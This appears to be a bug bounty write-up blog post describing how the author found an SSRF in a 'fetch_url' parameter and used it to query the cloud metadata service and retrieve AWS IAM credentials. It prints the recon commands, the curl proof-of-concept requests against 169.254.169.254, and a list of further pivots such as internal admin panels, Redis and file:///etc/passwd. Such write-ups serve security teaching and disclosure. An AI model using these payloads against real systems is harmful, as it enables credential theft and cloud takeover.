๐ฐ Not Just a Ping: How SSRF Opened the Gateway to Internal Secrets ๐๐ง
Hey there!๐
๐ฐ Not Just a Ping: How SSRF Opened the Gateway to Internal Secrets ๐๐ง
Free Link๐
Hey there!๐

Image by Copilot
You know that feeling when you poke something just a little, and the whole thing falls apart like a Jenga tower? Thatโs what this SSRF bug felt like. One small pingโฆ BOOM โ internal secrets, cloud keys, and money raining down. ๐ธ๐
If curiosity killed the cat, thank god Iโm a hacker, not a cat. ๐ฑโ๐ป
Grab your coffee โ โ hereโs the full story of how I accidentally became an internal serverโs best friend. ๐งโ๐คโ๐ง
๐ Phase 1: Recon Recon Recon โ The Dating App for Bug Hunters โค๏ธ
I was doing what all serious bounty hunters do: Mass recon while binge-watching Netflix in the background. ๐ฌ
Hereโs how I started:
subfinder -d target.com -silent > subs.txt
httpx -l subs.txt -mc 200,302 -title -tech-detect -vhost > live.txt
nuclei -l live.txt -t ssrf -severity high,critical
After scanning hundreds of endpoints, one caught my tired eyes:
https://api.target.com/utils/fetch_url?url=https://example.com
Hmmโฆ fetch_url? Sounds like something that might make server-side requestsโฆ ๐
๐ก SSRF detected (maybe)!
[embed]Bypassing Like a Pro: How I Fooled the WAF and Made It Pay ๐ธ๐งข Hi there!infosecwriteups.com
๐งช Phase 2: Poking with Payloads โ โAre You Home, Server?โ
The first test was simple.
I changed the url parameter to my Burp Collaborator link:
https://api.target.com/utils/fetch_url?url=http://burp-collaborator-link.burpcollaborator.net
And boom โ callback received! ๐ฏ Server actually fetched the URL I supplied.
โ Basic SSRF confirmed.
Now, time to level up.
๐ฏ Phase 3: Exploitation โ Internal Party Started ๐
After confirming SSRF, the real goal was:
- Internal recon
- Access metadata
- Get credentials
- Pivot deeper
๐ฏ First target? Common internal IP ranges:
http://127.0.0.1
http://169.254.169.254 # cloud metadata
http://10.0.0.1
http://192.168.0.1
I sent this payload:
GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: api.target.com
๐งจ AND I GOT A RESPONSE!

Gif
Proof of Concept:
curl -i 'https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/'
Response:
{
"ami-id": "ami-0abcdef1234567890",
"instance-id": "i-0abcdef1234567890",
"hostname": "ip-10-0-1-23.ec2.internal",
"iam": "available"
}
Metadata server = WIDE OPEN ๐ฑ.
๐ ๏ธ Phase 4: Diving Deeper โ Give Me Those Sweet Credentials ๐ฌ
Once I accessed the metadata root, I went specifically for IAM roles.
Sent this payload:
GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: api.target.com
Response:
admin-role
Nice. Next, I pulled the actual credentials:
GET /utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role HTTP/1.1
Host: api.target.com
Response:
{
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjE...",
"Expiration": "2025-04-29T16:39:57Z"
}
๐ง AWS Access + Secret keys obtained!
โ Now I could access S3 buckets, EC2, RDS, you name it โ using these credentials.
๐ธ Full Proof of Concept
1. SSRF confirmed using Burp Collaborator link. 2. Accessed Metadata Service:
curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/"
3. Discovered IAM role:
curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
4. Stole AWS Credentials:
curl "https://api.target.com/utils/fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
๐ Bonus Techniques for SSRF to Critical Impact ๐
Hereโs more sauce to turn a low SSRF into big bounties:
โ
SSRF -> Cloud Metadata -> AWS Credentials -> Full Cloud Takeover
โ
SSRF -> Access Internal Admin Panels (http://localhost/admin)
โ
SSRF -> Port Scanning Internal Networks (using different url values)
โ
SSRF -> Redis Injection (target redis://127.0.0.1:6379)
โ
SSRF -> File Reading (try file:///etc/passwd) if allowed
๐ Why Was This a Critical Bug?
- Access to internal-only cloud metadata
- Stolen valid AWS credentials
- Potential full infrastructure compromise
- Ability to spin new servers, download S3 buckets
๐ This turned a boring url parameter into a P1 Critical report + huge bounty + eternal glory (and also paid for a new gaming setup for me). ๐ฎ
๐ Final Takeaways
- Always dig deeper once you confirm SSRF โ donโt stop at โyay, it calls Burp Collaboratorโ.
- Target metadata services immediately. Thatโs where the gold is. ๐ช
- Always think about internal network movement: port scanning, admin panels, databases.
- Recon is king โ without subdomain and endpoint recon, none of this would have happened.
Connect with Me!
- Instagram: @rev_shinchan
- Gmail: rev30102001@gmail.com
EnnamPolVazhlkai๐
#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF
๋ฉํ๋ฐ์ดํฐ
- post_id
- d18eeccd4745
- slug
- not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
- url
- https://infosecwriteups.com/not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
- canonical_url
- https://infosecwriteups.com/not-just-a-ping-how-ssrf-opened-the-gateway-to-internal-secrets-d18eeccd4745
- author_url
- https://medium.com/@iski
- status
- ok
- fetched_at
- 2026-07-20 03:36:17